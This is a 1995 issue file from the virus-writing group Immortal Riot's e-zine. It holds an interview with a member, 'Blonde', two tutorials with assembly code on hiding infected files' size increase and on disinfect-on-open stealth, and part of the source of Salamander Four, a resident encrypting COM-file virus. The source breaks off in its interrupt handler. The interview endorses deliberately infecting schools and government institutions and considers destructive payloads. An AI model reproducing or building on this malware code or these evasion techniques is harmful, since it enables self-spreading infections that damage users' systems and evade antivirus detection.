Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 006 % Blonde's little corner % -------------------------- What follows is a few things done by Blonde, Immortal Riot's second newest member. A few things included here are really old, and it doesn't show his capacity for shits. For example, his latest virus is a MBR/COM/EXE/Floppy full-stealth virus, written for his own educational purposes. It looks nothing but messy (as for now), and that is the reason why he wanted to rewrite it to be way-more structured before it was going to be made public. It will be released seperately after IR7, and should also serve the purpose of being a multipartite tutorial since it is as he puts it "over- commented". It should be something to watch out for! Ok. Let's start with a little interview with this person, from where we'll look as his work :-). (Size-stealth & disinfection-stealth- tutorials, and a virus which demonstrates the techniques works) - The Unforgiven. =====================[ BLONDE INTERVIEW ]======================================= This interview was done quite some time ago (When Blonde still was an independant novice viruswriter), but since I want you to know the new members of Immortal Riot, I decided to include it anyhow. The story why Blonde (then using another handle), became a member of the virus community was bcos he got hit by a destructive virus I made for IR#5 and wanted to know how to protect himself against those evil programs :). He ended up being a member of the group which crashed his harddrive. TU = The Unforgiven BL = Blonde TU> Give me a short description of who you are? (real name/ID-number/phone#/adress/age :)) BL> John Doe / 01-12-23/ 0123-456 78 / 54 Unknown St. / 18 TU> From where did you get you handle, Blonde? BL> From one of Quentin Tarantinos movies, Reservoir Dogs. One of the main characters is called Mr. Blonde TU> Does your handle has some specific meaning? BL> The character Mr. Blonde is kind of cruel... guess I'm cruel too;) TU> When did you discovered the world of computers? BL> That was around the age of, erh..., 11 or 12 or something like it... TU> How long have you been active in the scene? BL> Depends on wich scene... I haven't been active in the virus scene for more than a year, or maybe one and a half..something like it, I don't count days... TU> Why did you start to call boards and such things? BL> Well first I was just astonished that I could use a modem to comunicate with other persons then I got into the wareZ scene and discovered that one could get hold of alot of intresting softw. but that didn't last long... but it was still the main reason I started calling boards. (* side note... I don't know why but it seems like the warez scene is where all ppl start out, but then move on to the scene that really fits them. end side note *) TU> How did you come into the virus business? BL> Well I guess I just wanted to learn more about viruses, mainly for protective purposes. As some of you guys know I didn't bother about viruses until I got hit by Bad Attitude... (* This is a very funny story, indeed - TU *) then I started to look at virus-code and though it woul be cool to be able to write one by myself and well after a period of trial and error I succeeded and realised I'd found my niche. TU> Why did you start to write viruses? BL> Because they intrigued me... they attracted me and to some extent to make something those warez-puppies feared like hell... TU> Which goals do you have as a viruswriter? BL> To make the perfect virus... would be nice ;) naah well I set my goals in a closer future as for now I'm aiming to do a multipartite. It might even be included in this mag.. who knows? after that I'll probebly try to combine all my knowledge in a multipartite with full stealth or something like it... (* This has now been sorta done.. *) TU> What programming-languages are you familiar with, and whats your favourite language? BL> I'm a descent pascal programmer. I was my first programming language and I've done tons of apps in it. I'm also familiar with C and trying to teach myself C/C++ at the moment... and asm ofcourse. Since I started using asm I've realised that it's far more powerful atleast if it's not too _big_ apps. so nowadays I mainly use asm for everything... TU> How many viruses have you written? BL> gee... I dunno... not so many I guess. I think I've _finished_ about 5 or so.. they're easy to count though... one non-ow, one res com, one enc res com, one res com/exe and then s4 TU> How do you name your viruses? BL> That depends... Something that has a meaning to me... or something that sounds good... Salamander Four for example was nicked from a book by Peter O'Donnel where S4 is the name of a crime-syndicate... TU> What motivates you to write viruses? BL> The learning process... mainly and the kick when you've succeeded with something you haven't done before. thats a thrill.. TU> Did some of them carried a destructive payload? BL> I've written destructive payloads, yes... but up to date I haven't spread my viruses so I've never included any payloads at all TU> Do you think you will continue to write viruses? BL> Yes, until I get fed up with them, but that will hopefully take time... TU> Whould you feel guilty if one of your viruses made damage to a hospital, and someone got harmed bcos of that? BL> Probably... I don't know since it hasn't happened... but I think I would... thats why I prefere non-destructive payloads... TU> Would you deliberate infect a school or government institution if you know they would replicate well if you did so? BL> Yes.. schools and govermental institutions wouldn't be a problem at all, because a virus can't do anyone physical harm through them... TU> Do you find it easier to infect pirated software (which is illegal to use), than PD/SW software? BL> That doesn't bother me at all... software is software... I just add my piece of code... it doesn't change the function of the program... BUT if I infect pirate software that would probably be because I would like my virus to spread... pd/sw doesn't travel as fast as pirated software does... TU> Do you encourage deliberate destructive code in viruses? BL> It doesn't bother me as long as it isn't my HD you're nukin'... but I prefer funny payloads... TU> Have you considered writing destructive code in viruses? BL> Oh yes. I've considered it... I'll probably end up including destructive code in some viruses, just to get attention ;) TU> What to you think of the issue concerning 'undestructive-viruses'? BL> They're harmless as long as the remover (the person who removes them) knows what to do and that may be a plus since most ppl. wouldn't get as pissed off when struck by an undestructive virus... TU> Do you think one can make a virus benefictial? BL> Maybe... I've had that though really... I just tend to see viruses as a piece of code... or artificial life ;) TU> Have you ever considered writing a GOOD virus? BL> I would be more than happy to write a good virus since it then might be more appreciated for the programming skill it took to write it and not rejected by the fact that the viruses are seen as evil... TU> Gonthev described in his 'write-up' "Is good Computer-Viruses still a bad idea?". Do you think it's possible to write a GOOD virus, which serves a useful task, and at the same time, solves all problems that he described? BL> It might be possible to write a _good_ virus BUT I'm not sure I would consider viruses good, since it is so easy to loose control over it... say for example you use one to encrypt your HD. what would your friend think if his hd got encrypted? It might be possible to write what you and I consider a good virus, but there is always someone who'll disagree with you. TU> About virus-code-generators, what is your opinion about them, and about people using them thinking they are hot-shot-3liT333? BL> I consider people using code-generators as the worst virus-writer wannabes. I really think they should try to write their own code, because it's not that hard really... it just takes practise. Though code-generators are good for some people (like me ;)). I actually learned a great deal from G2 and my first virus actually looked very much like a G2 generated virus, but I wouldn't want to release that source ;) On the other hand. To create a generator is a good way to prove oneself as a good virus writer, because it takes a lot of skill to do so... TU> Do you write viruses to get recognition in the virus/AV community? BL> To some extent yes, because I'm not going to get any recognition from the users that get hit by my viruses ;) But the recognition isn't that important. whats important is the fact that I succeeded in creating the virus, that is by itself really enough for me... TU> What do you think about the media/AV describing viruswriters as lonely individuals with no life? BL> Haha... thats probably the biggest lie of them all! I'm having a hard time finding enough time to write viruses because I've got a very busy social life. TU> Do you think the scene is associal or not? BL> Thats a hard question... It's quite hard to get into the community, ie. finding a board, making friends and learning... but once you're in it's the best scene around! It's easier if you've got access to internet and irc though... you meet alot of real good coders on irc and they're all willing to help you out... TU> How are you in real life? BL> Hehe.. I'm a party animal... I just love parties it's just too bad my wallet doesn't... I guess I'm just another normal guy, but with intresest in viruses. TU> How do you make your living? BL> I don't. I'm still studying. (* Notice, now Blonde also works for the same company as our sysop, The Wizard does. He earns a lot of money, but spends it all on Camel's (ciggs) and booze. - TU *) TU> Have the scene/viruswriting influent you in real life? BL> My opinion on viruses has changed a great deal... I've lost most of my respect for them ie. my fear... ;) but my knowledge in viruses has made me the av'er of the school when it gets hit... it might be because I always know which virus it is... usually mine ;). TU> What do your parents/close friends think about your viruswriting? BL> My parents don't know, but I doubt that they would care. It's my choice, they can't stop me and they know it... they might disagree but since they're very realistic they wouldn't try or anything... most of my friends aren't aware of the fact that I write viruses, some of them do and I'm trying to get one of them to start writing. (* Movitz :-), Monica's little darling, hahhahah! *) (NBL) <- Rb's secret comment ;> (don't tell ne1) TU> Why havn't you told your parents about your activity in the virus arena? BL> If they asked I would tell them if I thought it would change my relationship with them, but I generally don't go around telling people that I'm writing viruses because of the bad reputation viruses have got. People tend to look at virus writers with disgust and thats not what I'm looking for so I don't tell them... TU> Are you only into viruswriting or other parts of the computer-underground as well? BL> I'm at the moment deep into viruses, but hacking is also an option if virus writing gets boring. Well you could also probably add pirating to the list since I don't have the money too buy the software I need... but if I did I would probably stop, because programmers deserve the money. Although most programmers at Microsoft don't ! TU> What in the scene do you find okay to do, and what dont you do bcos you find it morally wrong? BL> Board trashing is morally wrong... it might be a lame sysop but he has spent hours and hours setting the board up so let him be... TU> What parts of the underground do you think needs improvements? BL> The information exchange... most people just poll nets they don't share.. TU> Whats your opinion about polymorphic engines? BL> Okey to use for the author, but for anyone else it would be like a using a code-generator... TU> Why do you think people won't use them? (other than the inventors?) BL> Because those who use code-generators are happy with that and often not smart enough to use a polymorphic engine... the real virus writers wouldn't want to use code they haven't created by themself atleast not to that extent... TU> What do you think about the new computer-laws propositions concerning viruses? BL> ARGH! viruses shouldn't be illegal in ANY way... it's just a piece of code or if you look at it in a different way some characters in a file... well I'm not into laws... I don't think a community should have any laws... I belive that everybody should use common sense to judge their actions.. but that won't work in todays society... TU> Whats your opinion about the EU? BL> Well... too big... but as it looks Sweden would've had real big problems if not being accepted... the EU-market is too large too miss and swedish companies would've moved out of the country to get cheaper labour and to get rid of all the taxes... aah well nothing is perfect, is it? TU> Whats your opinion about the swedish government? BL> It sucks... the politicians are too weak and no one has the guts to do anything about it... TU> Do you distribute your viruses to the public? BL> Haven't done that so far... TU> Which virus programmer do you admire/like? BL> I donno really... haven't had that much contact with _major_ virus writers... but I like Qark's style, doing the flash bios infector, because it has never been done before... Thats what I admire, originality. TU> Describe the perfect virus: BL> Hard to do actually, one could say that it would be full stealth on every aspect and infect floppy boot/mbr/com/exe/sys/ovl and so forth, but tomorrow everything might change because of some new tool invented or something... TU> Describe the perfect viruscoder: BL> Even harder... but the most important thing is time and a brain is preferred... TU> Describe the AV-community in a few lines: BL> Since I haven't released any viruses to the public I haven't encountered any _real_ AV'ers... but I've followed some discussions at anti-virus meetings and most of the AV'ers are simply morons... and they like flaming so I guess I don't like 'em. TU> Which AV-program do you think is the best? BL> Tbav is probably the best if you know viruses, but Fprot is a close second... For people not knowing so much about viruses I recommend Mc Affee's scan since it doesn't give you any false alarms... TU> Do you think an AV-program can guarantee 100% detection rate for all known & unknown viruses? BL> No, not without hardware protection. If it's software there will always be way around it or a backdoor or a bug wich one could use to by-pass it... TU> Bontchev wrote an article called "Future trends in viruswriting", to you think viruses described will be coded in the future? (Lan aware viruses, snatching passwords, etc.) BL> Believe me, there are already viruses like that around! TU> (Anti-virus-virus - (retrovirus)) BL> If you mean that virus writers will attack other viruses, then I guess I think that won't be so likely... maybe co-existing but not nukeing others... (* Stupid goof, retro-viruses do attack AV-software - TU :) *) (maybe if you had wrote it "Anti-Anti_virus-virus" he would of got it right ;) , looks like you both made a mistake ;)) (yep, you guessed right: another obnoxious remark from rb :)) TU> (self-mutating viruses) BL> This is probebly very likely to be a project for someone, but it would be DAMN hard to do... if not entirely impossible... probably impossible actually. TU> (Hardware level stealth - like Strange) BL> mmm I don't know shit about Strange... but I guess writers all over will try to find better ways of stealthing, so thats more than likely to produce more complicated stealth-methods. TU> What to you think about the future for PC-DOS viruses? BL> The dos-virus probably still has a future because it'll be hard to kill the dos environment... some people say that dos will die with win95. I don't belive in that, maybe because I'll never change to a GUI (* Grafical User Interface - TU *) but because win95 has enormous hardware requirements that many pc-users won't match so atleast they'll stay a while in a plain dos environment... TU> Do you think viruses will be written for other (newer) operating- systems like OS/2 and Win95? BL> Yes probably... but not in pure-asm, as I see it it'll be the era of high-level viruses... I also think it'll be another generation of virus writers because most of todays writers are pure-asm coders and they won't like the thought of writing viruses in C or Pascal or something like it... TU> Have you ever considered writing a virus for another OS than DOS? BL> Considered, yes... tried, no... my knowledge of other OS's are far to basic... and I don't even feel like it would be worth a try.. dos is still the main pc-environment TU> Any advice to people who want's to learn the basic of virus-writing? BL> Yeah... get hold of some sources... ;) naah honestly sources are good, but it's even better to get hold of a virus programmer and have him explain a source. That usually helps ALOT... I'll help everyone I can... and I know most writers feel the same... as long as it isn't REALLY stupid questions... also looking at some tutes is useful. DA's (* Dark Angel/Phalcon/Skism - TU *) guides help me out a lot... maybe not the code, but the concept. TU> Do you think the virus-problem will slow down bcos of laws? BL> NO, probably just the opposite atleast it would work like that for me... I know I can keep my real name hidden if I wanted to and I disagree with laws like that so it would make me very productive and also very destructive... TU> Can you be reached somewhere? BL> I can always be reached at TWL/HNS (+46-8-7354760). I'm working on a real internet account..... TU> Your mottoe is: BL> nada... seize the day is a good one, but that is taken by someone.. ;) (* Who?? Horatius? :) *) TU> Something else you wish to say but never before had to opportunity to say? BL> Hi mom...;) and well mmm erh... TU> Do you wish to send any greet/hate messages? BL> yup... a big thank you to Anders Gavare, Swedens numero uno av-wanna-be and also the guy that keeps me writing viruses ;) Without his attitude I wouldn't be alive since a laughter extends your life... (^Swedish expression.. ;)) else mmm well thanks to all the people on IRC that has helped me out or tried to help me out... especially darkman/vlad for a helping me with a fprot alarm. ================================================================== ============== % Size-stealth by Blonde % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here's a *messy* tutorial written ages ago by Blonde. It contained a few errors, which is pretty bad for a tutorial :-), I erased one or two, but if you still find a few bugs, deal with it. A few things could be commented better, such as the determination- technique for fcb-types, however, I've now fixed that up, so be happy :). Maybe there is no reason for a semi-stealth tutorial since pretty much about everyone just rips another viruses stealth-routine, alters the infection-check and plugs it in... So it's for those people or for the ones who can write a memory resident infector, but have no clue of how to stealth the size-increase the virus causes when infecting (Except for the 00-fillers, of course), enjoy. - The Unforgiven. - Size stealth using FCB and Handles - Written by Blonde/Immortal Riot Many new resident viruses include atleast some stealth features, well almost all if hiding from dos's mem.com is considered as stealth ;). But in this article I'll go through the basic size stealth. Some of you (or most of you ;)) already know how to write a size-stealth routine, but there is always someone who doesn't. I remember when I tried to write it without a clue on how to do it... Size-Stealth: ************* I guess the concept is quite clear ;). It's basically hiding the files increase in size when it's infected by our virus. To do that you have to be resident of course, but you can't do anything about that, except make the virus a fast replicator ;) Okey, well first of all you have to mark the infected file somehow. Most writers choose to mark the seconds in the time stamp, since they're seldomly used. You *can* of course open the file and check your jmp or id-marker, but doing it that way would slow down the filesearch in a large directory a lot. Thats why its easier(and better) mark the time stamp! You can mark the file as you like, but this is how I generally do. Just before you're about to restore the time/date stamp of the file just alter CX to hold it. Preferably without altering the hour/min's... ;CX=time stamp... and cl,11100000b ;this will zero-out the seconds field since ;it's the last 5 bits. or cl,01110b ;this set this files seconds field to 01110b ;=14 (28 seconds) = our specific stealth-marker. This is good because it's easy to check if the file was marked by us, simply get the timestamp in ax and do an AND al,00011111b followed by a XOR al,01110b to get al=0 IF the file was marked by us... We could also mark the time-stamp with the century method. The century method is as simple as the seconds method... just add another 100 years to the year field and remove them in the resident stealth routine, this method is good if you've got a mbr infector or something like it, because if the virus isn't in the memory this method will generate TBAV's 'T'-flag and probably trigger F-Prot too. But on the other hand, no program will be stealthed without being infected... adding another century could be done like this... ;DX=date stamp add dh,c8h ;this add 100 years to the yearfield it's ;year-1980=bit 15-9 in dx... ;0c8h = 100 shl 1, since it's shifted left ;once To detect this at stealth time simply do a cmp dh,0c8h and if it's below then it can't be infected by us... simple right? BUT you'll have to stealth the date too so just do a sub dh,0c8h when you stealth the size... this might have been a bit fuzzy, if so stick to the seconds method ;). Say we've marked all our infected files by setting the seconds field to 01110b How do we hide the size then? And from what do we hide them? Well we want to hide them from file searches, atleast thats what I'm teaching you ;). And DOS mainly provide two ways to search for files, via FCB or via file handles. The file handles have been recommended to use since DOS version 2+ or something, yet DIR still uses the FCB so today we'll have to hide from both of them to get enough coverage, but who knows we might be able too lose those FCB's in a future since DOS v7.0+ shall use handles ;) We simply add 11h/12h (FCB's) and 4e/4f (Handles) to our interrupt 21h handler. Yes, you'll have to hook int 21h by yourself ;) It can look something like this: new_int21h: . . . . cmp ah,11h jz stealth_fcb cmp ah,12h jz stealth_fcb cmp ah,4eh jz stealth_handle cmp ah,4fh jz stealth_handle jmp dword ptr cs:[Oldint21h] 11h and 4Eh is basicly find first and 12h/4Fh is find next, that should be a problem... make the 11h/12h point to one routine and 4Eh/4Fh to another. We'll start with the FCB routine since it's a bit more complicated... Stealth_Fcb: ;jmp here from int-hook... pushf push cs call org21h ;This will fake a call to the real int 21h ;because else we would not know what to steath. ;on return ds:dx point to unopened FCB or al,al ;since 11h/12h doesn't set carry flag on error jnz stealth_error ;we'll check that the error code=0=no-error ;or al,al is a smaller variant of cmp al,0 btw! push ax bx es ;save them because we'll alter them mov ah,51h ;get current psp, ah=62h is also ok. int 21h ;returns segment of current psp in bx mov es,bx ;es=bx=current psp cmp bx,es:[16h] ;this is to check if it's DOS calling, jne dont_stealth ;we does this to not screw up programs like ;chkdsk, this means; we stealth only on 'DIR' mov bx,dx ;bx=offset to unopened FCB mov al,ds:[bx] ;At the first offset of an unopened FCB the ;drive is stored if it's *not* an extended fcb ;if it's an extended-fcb, the value it FFh. ;(Everything is extended-fcb nowadays.. ) push ax ;Save AX on the stack (It's FF or 0 ) mov ah,2Fh ;Get current DTA int 21h ;returns dta to es:bx pop ax ;Restore AX (Is FF or 0) inc ax ;By Inc AX, we and cmp for ZERO, we can notice ;if we're dealing with regular or extended FCB ;types. FFh+1=0, so, if it's *not* 0 after we ;increased AX (AX=AX+1), it's not zero, then its ;not an extended-FCB-type either. jnz regular_fcb add bx,7h ;If extended, add 7 to bx, this is the ONLY difference ;between extended and regular FCB's, the extended has ;some extra bytes which would fuck up our offset if we ;didn't care... regular_fcb: mov ax,es:[bx+17h] ;get time stamp from the DTA (es:bx pointer, 17h=adress) and al,00011111b ;kill everything but seconds field xor al,01110b ;xor with our timestamp jnz dont_stealth ;if al isn't zero the file wasn't marked by us! ;check your logic book if you don't understand XOR! cmp word ptr es:[bx+1Dh],vsize+mininfectsize ja stealth ;this is obvious, if it is large enough to be ;infect, stealth it... cmp word ptr es:[bx+1fh],0 je dont_stealth ;since COM-files cannot be over 64k, don't stealth ;files which are so large. stealth: sub word ptr es:[bx+1Dh],vsize ;stealth it! ;sbb word ptr es:[bx+1Fh],0 ;No need to stealth high-word for ;COM-infectors only, Blonde :-). dont_stealth: pop es bx ax ;restore these stealth_error: iret ;return to the caller with or ;without stealth I guess this could be hard to get at the first view... but it's easy. First of all you fake an int call because you want something to stealth... then you get the current psp, no problems there... You check to see if it's dos calling. Then you move the byte at PSP:0 into al. That's because you must check if it's an extended FCB. The difference between regular and extended is that an extended FCB also includes some DOS RESERVED areas which one must skip to get to the information you want... A fact is that the regular fcb is almost unused only dos versions prior to 4 used it. Then you get the address to the DTA, it's returned in es:bx, next check if it's an extended FCB and add 7 to bx if it is... (thats because of the reserved areas) then one stores the timestamp from the dta in ax. You then must and/xor al to see if your marker is there... if it isn't you bail. If it's there you check if the filesize isn't too small, note that you first have to check if the low word is larger than the virus if it is stealth it. If it's smaller then check the high word (ie. how many 64k block is it?), if it's zero then it's impossible to infect the file... If all thats a match we subtract the virus-size from the filesize at es:[bx+1Dh] (low word) and es:[bx+1fh] (high word) Finally we pop es/bx/ax and iret to the calling routine. And now to the handle routine, it's simpler than the FCB routine because all we need is the DTA... but I guess you already knew that ;) Stealth_Handles: pushf push cs call org21h ;still fake jc stealth_error ;we can use this since 4e/4f sets the ;carry flag on error pushf push ax bx es ;push the flags because they'll be altered by ;the int call mov ah,2fh int 21h ;get dta in es:bx mov ax,es:[bx+16h] ;get time stamp and al,00011111b xor al,01110b jnz dont_stealth ;If not zero, then file is not infected! cmp word ptr es:[bx+1Ah],vsize+minsize ;check if file is too small? ja stealth cmp word ptr es:[bx+1Ch],0 je dont_stealth ;check if file is too large? stealth: sub word ptr es:[bx+1Ah],vsize ;Substract code-lenght ;sbb word ptr es:[bx+1Ch],0 ;Still no need to sub high-word.. dont_stealth: pop es bx ax popf stealth_error: retf 2 ;return far, pop 2 off stack (cs:ip) ;don't pop flags since they're may be ;altered by int call The handle-stealth routine should look really familiar ;) It's almost exactly the same as the FCB routine, but you don't have to bother about those extended fcbs and stuff, but I'll go through it anyway... but just on the points that differ from the fcb routine... The jump if carry can be used instead of that or al,al because 4e/4f set the carry flag on error...you must also pop the flags just because of that, the call might alter them in another way... Also get the dta and timestamp and check if it's yours and so on, but that shouldn't be a problem, just observe that all offsets change! We use a retf 2 because we don't want to pop the flags of the stack since we already done so by ourselfs... It's possible to smash these routines into one, well nearly. That can save valueable bytes. I won't bother going thru that here, but it's basiclly adding 3 to bx to get the right offset when doing the last part, look at my virus Salamander Four which is included at the end of this file. It's a com only infector so it'll look a little different since you don't have to worryabout the high word of the filesize since comfiles only can be 64kb's long... I guess this isn't the best explanation you could get, but it's all you'll get from me ;). I'll be happy to answer any questions concerning this matter or any other. I'm reachable at TWL/HNS or via Nukenet and I'm even on IRC sometimes... ================================================================== ============== % Full stealth tutorial by Blonde % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ What follows is kinda tutorial of disinfection-stealth. It doesn't cover any *redirection* stealth (such as the one Bluenine in IR#6 uses), and quite frankly it might not be the best tutorial the vx-community has seen, but we can always hope it's for some gain to someone. Alternative code how physical disinfection can be done is presented in my Hybris virus, which also is a bit more optimized than this one :-). Nevertheless, this is the very same technique my Petra.1308 virus used, so atleast it works.. I've edited this one a bit (Yea, I know it doesn't look like I did, but I did!) and well, we can always hope Mr.Blonde will write his next tutorial in a sober-mode :-). - The Unforgiven. - Full Stealth or Disinfection on open - Written by Blonde/Immortal Riot Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ Okey, this is for those guys who've already made an effective size-stealth and want some more or those who just like reading ;) Full stealth for me is when you completely remove the virus from the file. Preferebly done when you open it. The idea behind this is ofcourse that it will be harder to spot and it is for the common users, but thats all we want isn't it? What's very important when using disinfection is to infect on close or else you'll of course end up with some major problems ;) Okey, this is a bit more complex than the size stealth I discussed in my earlier article and I'm not a teacher so this can be quite hard to understand. I'll mainly go through the disinfection of a COM file, but with pseudo code for EXE files as well. All code presented will though be COM- only. The basic idea behind disinfection of COM-files is to first of all check if the file is infected by your virus, then simply restore what we've changed in the file, that is the first 3-5 bytes in a COM and then simply truncate the file at (filesize-virussize). As for EXE-files the scenario is exactly the same, restore what you changed in the EXE-header rewrite it to the file... and truncate it. To succeed in these matters you'll have to hook int 21h and tap ah=3d (open) Check-For-Infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ disinfect_3d: ;called by our int handler if ah=3dh ;Upon entry to ah=3Dh ds:dx points to the filename... push ax bx cx dx di si ds es ;save registers in use push ds pop es ;es=ds mov di,dx mov al,'.' mov cx,64 repne scasb ;this will repeatedly scan byte by byte for ; '.' in the filename stored in ds:dx=es:di ;di will then point to offset of '.'+1 cmp word ptr ds:[di],'OC' jne nocom cmp word ptr ds:[di],'M' je openfile ;check if it is a com... if it wasn't nocom: jmp not_opened ;it wasn't a *.com file so don't ;disinfect openfile: ;com-file being opened! pushf push cs mov ax,3d02h call org21h ;open file in read/write mode jc nocom ; error ==> bail out xchg ax,bx push cs cs ;cs=ds=es pop es ds mov ax,5700h ;get file's time & date int 21h push cx ;save time & push dx ;date on the stack read_4f: mov ah,3fh ;just read the firstfour bytes to mov cx,4 ;a buffer. mov dx,(hostbytes-vstart) int 21h chk_4_markers: cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar jne close_file ;is a jmp (e9) ;if not ==> bail! cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker? jne close_file ; if not ==> bail! That was the first part of the disinfection routine, the part that check if the file *really* is infected. In a nutshell, the code works like this: First of all we want to check if the file first of all is a COM/EXE file. What we did was simply to scan ds:dx for the '.' which separates the filename from the file extension and then compare it to COM/EXE (the code only checks for com's, but you can fix that ;). That'll be sufficent to determine if it was a COM/EXE file... The next step would be to check if the COM/EXE file really is infected. This can be done in diffrent ways and some more secure than others, but what I've done in this code is to read the first four bytes and check the first against a jmp instruction (the one which jumps to the first instruction in the main virus-code) and then check the fourth against 'fileid' a byte which I write to every file I infect... com only of course. That should do it. To be even more secure one could check for size and even stealth markers (like seconds) and such, but I don't think it's so very likely that a com file starts first with a jmp and then as the forth byte have another byte equal to what we want... Ah well it might corrupt some files, but who cares? ;) Note that we don't do a regular open, since that would be recursive we have to call the original interrupt handler directly... To do the same for EXE-files is almost as easy... read the whole header (be sure to save the header-information in the file for this purpose, don't do any heap-optimizing) and check against your markers maybe the prelocated SP or maybe the negative checksum or whatever... then continue with the disinfection where we left the com files... Restore Init-Bytes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ read_hostbytes: mov ax,4202h xor cx,cx cwd int 21h ;ax=fsize push ax ;push fsize.. used lateron... ;if exe then push dx too xchg ax,dx sub dx,(vend-hbytes) mov ax,4200h xor cx,cx int 21h ;goto dx in files... mov ah,40h mov cx,4 mov dx,(hbytes-vstart) int 21h ;read host bytes from end of file... This is the part where you fetch the original values of infected file. Since this is important, also remember to leave the original bytes un-encrypted if the virus is encrypted. Else you'll have to decrypt them, which is pretty stupid. Encrypted full-stealth viruses might be considered a bit overdoing it, but well, that's up to you to decide. It's also wise to place the init-bytes at the end-of the file because that makes file-seek's operations shorter. Well anyways, first get the filesize in ax then load it in dx and sub dx with the byte difference from the very end of the virus to the begining of the hostbytes (in this case 4...) then go to that offset in the file ie. four bytes from the end and then read those four bytes which are the files original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore differences. you'll just have to sub/read the appropriate number of bytes... The next step will be to restore those bytes to the begining of the file... mov ax,4200h xor cx,cx cwd int 21h ;go to beginning of file... mov ah,40h mov dx,(hbytes-vstart) mov cx,4 int 21h ;restore them Well that' obvious, wasn't it? The EXE version would only differ if you didn't save the whole EXE-header, because then you would have to read it, then restore the real values and re-write it to file then... therefor is it easier to simply write the whole EXE-header to the end of the infected file, but that'll of course increase the size of the virus. Remove the virus from the host-file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To truncate the file at filesize-virussize we do this... pop dx ;this was push'd two snippets up and it's the file-size ;should also pop cx if it was an exe mov ax,4200h sub dx,virusize ;subtract the virus-size from the filesize int 21h ;go to filsize-virusize truncate: mov ah,40h xor cx,cx int 21h ;this is the trick. to truncate simply write zero bytes ;to the file... Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE) and then sub it with the virus size (don't forget sbb cx,0 if EXE...) Then go to that offset and write zero bytes to it, that'll truncate it... close_dis: mov ax,5701h pop dx cx int 21h ;restore time/date stamp mov ah,3eh pushf push cs call org21h ;close call to real int handler no_opendis: pop es ds si di dx cx bx ax jmp org21h You're finished! just restore the time/date stamp and close the file... Just don't forget to close via a direct call to the real int 21 handler, since you wouldn't want to re-infect the file ;) then we chain into the real dos open since the virus has been removed! This code will successfully disinfect any file opened by ah=3Dh/int 21h, but there are other ways of opening files, one of them is extended open which F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll have to deal with some minor snags. Like loading ds:dx with filename ... If you're intrested check out Salamander Four... ================================================================== ============== % Salamander-Four by Blonde % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ S4 has been released internally in IR ever since it was written, and frankly said, I have no idea which version this is (A quite early one, I believe). However, it's though scannable by AVP, which is nothing but fucking weird! Maybe it did travel the same route as Linda.517? Anyways, there is (according to the author), a great deal of shit in this virus, but if you see it as a proof that the tutorial works, that would help ;). Ugh.. there you go, and yea, expect quality from Bln in the future. - The Unforgiven. S4 is a resident self-encrypting COM infector. It'll infect on 4b00/3e (execute and close) it replaces the critical error handler (int 24h), only on execute though... (* In another version, this was solved.. - TU *) stealth 4e/4f and 11/12 and disinfect on open (* full stealth - TU *) S4 has grown quite large due to the disinfect and infect on close... but it could probably be pressed down to below 900 bytes, atleast if one tried but I don't like optimizing so I won't...;) (* This was also solved.. - TU *) Oh btw this was writting purely for investigative purpose and it doesn't contain any payload... but it's on hell of a fast replicator and quite hard to spot once it's resident...hehe... many thanks to : tu/ir, for helping me to get started... (* and more :)) - TU *) cz/ir, for his general knowledge... mm/ir, truth is sometimes stranger than fiction...yeah ;) qark/vlad, for trying to help me with fprots alarms darkman/vlad, for giving me a solution to fprots alarms ;) anders gavare, for giving me a reason to write viruses ... .model tiny .code org 100h resid equ 3099h fileid equ 's' time_stamp equ 10001b ;stealth marker... host: jmp short entry db 90h,fileid vstart: entry: call $+3 gd: mov si,sp mov bp, word ptr [si] sub bp,offset gd lea si, [bp+offset vstart] call decrypt ;this call will probably trigger fprot! ;but tbav doesn't note shit... encrypted_start: mov ax,resid int 21h cmp ax,bx je alreadyres ;check if already resident gores: mov ax,ds ;ds=psp dec ax mov ds,ax ;ds=mcb xor di,di cmp byte ptr ds:[di],'Z' ;end of chain ? jne nomem sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and mov ax, word ptr ds:[di+12h] ;sub mov es,ax ;es=virus segment... push cs pop ds copy2mem: cld lea si,[bp+offset vstart] xor di,di mov cx,(vend-vstart)/2+1 rep movsw ;copy virus to ;allocated memory hook21h: xor ax,ax mov ds,ax ;ds points to int-table push ds lds ax,ds:[21h*4] mov word ptr es:[o21ho-vstart],ax mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector pop ds ;ds=0 mov word ptr ds:[21h*4],0 mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem... mov byte ptr ds:[1e0h],0eah ;jmp dword ptr mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart mov word ptr ds:[1e3h],es ;this makes i21h's ;vector ;point to 0eh:0h and ;thats were we placed ;a jmp far to ;es:(n21h-vstart) ;)) nomem: alreadyres: return_com: inc sp ;this is to restore the sp to 0fffeh, done b'cos inc sp ;of the delta offset calc in the begining... ;don't know if it's nessesary thou... push cs cs ;cs=ds=es pop es ds mov di,100h push di lea si,[bp+offset hbytes] movsw movsw ret ; jmp 100h to start host ;----------------------------------------------------------------------------- ; This is our new int 24h handler. ie. our new critical error handler ; it'll assume no error n24h: mov al,0 iret ;----------------------------------------------------------------------------- ;new int 21h handler ; TU> ; This is totally fucked up, he could have used ; direct-jumps for example the stealth-routines, ; but since this is an early beta, he didn't ;). ; Thrust me, this was fixed, too. n21h: cmp 